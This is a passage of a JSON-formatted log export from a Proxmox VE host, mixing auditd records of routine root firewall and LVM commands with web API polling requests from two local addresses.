items=0 ppid=1156 pid=63499 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781964927129,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:26 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 467"} {"@timestamp":1781965806068,"@rawstring":"node=pve type=EXECVE msg=audit(1781965806.068:67186): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964193245,"@rawstring":"node=pve type=EXECVE msg=audit(1781964193.245:59972): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965815264,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.264:67233): arch=c000003e syscall=59 success=yes exit=0 a0=7fffd8b47910 a1=556e68346310 a2=556e6833f680 a3=5 items=2 ppid=64570 pid=64571 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555142,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.142:66114): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0f10f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63499 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781964924718,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781965806060,"@rawstring":"node=pve type=EXECVE msg=audit(1781965806.060:67185): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964188237,"@rawstring":"node=pve type=EXECVE msg=audit(1781964188.237:59969): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965815259,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.259:67231): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64570 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555136,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.136:66113): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0e2cf0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63498 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964924718,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:23 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1094"} {"@timestamp":1781965806053,"@rawstring":"node=pve type=EXECVE msg=audit(1781965806.053:67183): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781964188228,"@rawstring":"node=pve type=EXECVE msg=audit(1781964188.228:59966): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965815251,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.251:67230): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64569 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555130,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.130:66112): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f49e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63497 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964924718,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:23 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 839"} {"@timestamp":1781965806047,"@rawstring":"node=pve type=EXECVE msg=audit(1781965806.047:67182): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964185365,"@rawstring":"node=pve type=EXECVE msg=audit(1781964185.365:59963): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965815243,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.243:67229): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64568 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555122,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.122:66111): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc138810 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63496 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964923701,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781965806040,"@rawstring":"node=pve type=EXECVE msg=audit(1781965806.040:67181): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964185362,"@rawstring":"node=pve type=EXECVE msg=audit(1781964185.362:59962): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965815236,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.236:67228): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64567 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555116,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.116:66110): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc147010 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63495 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964923701,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:22 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 470"} {"@timestamp":1781965806033,"@rawstring":"node=pve type=EXECVE msg=audit(1781965806.033:67180): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781964185361,"@rawstring":"node=pve type=EXECVE msg=audit(1781964185.361:59961): argc=1 a0=\"date\""} {"@timestamp":1781965815229,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.229:67227): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64566 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555111,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.111:66109): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b219f0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63494 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964920678,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:20 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781965806026,"@rawstring":"node=pve type=EXECVE msg=audit(1781965806.026:67179): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781964185357,"@rawstring":"node=pve type=EXECVE msg=audit(1781964185.357:59959): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965815223,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.223:67226): arch=c000003e syscall=54 success=yes exit=0 a0=3 a1=0 a2=80 a3=63d08b93d740 items=0 ppid=1156 pid=64565 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=(null)"} {"@timestamp":1781965555102,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.102:66108): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63493 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964920678,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:19 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 471"} {"@timestamp":1781965806020,"@rawstring":"node=pve type=EXECVE msg=audit(1781965806.020:67178): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781964185349,"@rawstring":"node=pve type=EXECVE msg=audit(1781964185.349:59958): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965815220,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.220:67225): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0f0c70 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64565 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-restor\" exe=\"/usr/sbin/ebtables-legacy-restore\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555094,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.094:66107): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63492 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964920678,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:19 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781965806012,"@rawstring":"node=pve type=EXECVE msg=audit(1781965806.012:67177): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964185343,"@rawstring":"node=pve type=EXECVE msg=audit(1781964185.343:59957): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965815214,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.214:67224): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc1353b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64564 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555090,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.090:66106): arch=c000003e syscall=59 success=yes exit=0 a0=6368f3e4c0a0 a1=6368f3e48e20 a2=6368f3e2a680 a3=5 items=2 ppid=63485 pid=63491 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964919672,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:18 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 473"} {"@timestamp":1781965806004,"@rawstring":"node=pve type=EXECVE msg=audit(1781965806.004:67176): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964185337,"@rawstring":"node=pve type=EXECVE msg=audit(1781964185.337:59956): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965815207,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.207:67223): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb60 a1=55ecbc0f0cd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64563 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-resto\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555083,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.083:66105): arch=c000003e syscall=59 success=yes exit=0 a0=6368b9a37ac8 a1=7ffc27c174a0 a2=6368f3e2a680 a3=6368b9a1b24e items=2 ppid=63485 pid=63487 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964918060,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:17 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 860"} {"@timestamp":1781965806000,"@rawstring":"node=pve type=EXECVE msg=audit(1781965806.000:67175): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781964185330,"@rawstring":"node=pve type=EXECVE msg=audit(1781964185.330:59955): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965815199,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.199:67222): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc13f0b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64562 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555082,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.082:66104): arch=c000003e syscall=59 success=yes exit=0 a0=7ffc27c17460 a1=6368f3e31310 a2=6368f3e2a680 a3=5 items=2 ppid=63485 pid=63486 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964918060,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:17 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781965805997,"@rawstring":"node=pve type=EXECVE msg=audit(1781965805.997:67174): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781964185325,"@rawstring":"node=pve type=EXECVE msg=audit(1781964185.325:59953): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965815192,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.192:67221): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0f0cd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64561 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555076,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.076:66102): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63485 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964918060,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:16 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 465"} {"@timestamp":1781965805996,"@rawstring":"node=pve type=EXECVE msg=audit(1781965805.996:67173): argc=1 a0=\"date\""} {"@timestamp":1781964185319,"@rawstring":"node=pve type=EXECVE msg=audit(1781964185.319:59952): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965815187,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.187:67220): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adc3c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64560 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555068,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.068:66101): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63484 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964916653,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:15 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1090"} {"@timestamp":1781965805990,"@rawstring":"node=pve type=EXECVE msg=audit(1781965805.990:67171): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781964185314,"@rawstring":"node=pve type=EXECVE msg=audit(1781964185.314:59951): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965815179,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.179:67219): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64559 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555058,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.058:66100): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63483 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964915031,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 473"} {"@timestamp":1781965805983,"@rawstring":"node=pve type=EXECVE msg=audit(1781965805.983:67170): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781964185309,"@rawstring":"node=pve type=EXECVE msg=audit(1781964185.309:59950): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965815171,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.171:67218): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=64558 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555050,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.050:66099): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8b51ff0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63482 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964915031,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:14 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1096"} {"@timestamp":1781965805976,"@rawstring":"node=pve type=EXECVE msg=audit(1781965805.976:67169): argc=1 a0=\"iptables-save\""} {"@timestamp":1781964185302,"@rawstring":"node=pve type=EXECVE msg=audit(1781964185.302:59949): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965815167,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.167:67217): arch=c000003e syscall=59 success=yes exit=0 a0=5a1cf4839d70 a1=5a1cf4845f40 a2=5a1cf4813680 a3=5 items=2 ppid=64551 pid=64557 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555041,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.041:66098): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc135440 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63481 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964915031,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:13 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 472"} {"@timestamp":1781965805969,"@rawstring":"node=pve type=EXECVE msg=audit(1781965805.969:67168): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781964185297,"@rawstring":"node=pve type=EXECVE msg=audit(1781964185.297:59948): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965815163,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.163:67216): arch=c000003e syscall=59 success=yes exit=0 a0=5a1cd9b7dac8 a1=7fff27b9cbe0 a2=5a1cf4813680 a3=5a1cd9b6124e items=2 ppid=64551 pid=64553 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965555031,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965555.031:66097): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0e62c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63480 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964912710,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:11 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1102"} {"@timestamp":1781965805958,"@rawstring":"node=pve type=EXECVE msg=audit(1781965805.958:67167): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964185290,"@rawstring":"node=pve type=EXECVE msg=audit(1781964185.290:59947): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965815161,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.161:67215): arch=c000003e syscall=59 success=yes exit=0 a0=7fff27b9cba0 a1=5a1cf4835410 a2=5a1cf4813680 a3=5 items=2 ppid=64551 pid=64552 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965554859,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965554.859:66096): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73dcd30 a1=64f8d73dcfc0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63479 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964911703,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:15:11 +0100] \"GET /api2/json/nodes/pve/status HTTP/1.1\" 200 839"} {"@timestamp":1781965805949,"@rawstring":"node=pve type=EXECVE msg=audit(1781965805.949:67166): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781964185284,"@rawstring":"node=pve type=EXECVE msg=audit(1781964185.284:59946): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965815156,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.156:67213): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=64551 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965554834,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965554.834:66095): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d514f660 a1=64f8d7410770 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63478 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964911703,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:15:11 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1089"} {"@timestamp":1781965804451,"@rawstring":"node=pve type=EXECVE msg=audit(1781965804.451:67165): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781964185280,"@rawstring":"node=pve type=EXECVE msg=audit(1781964185.280:59945): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965815148,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965815.148:67212): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 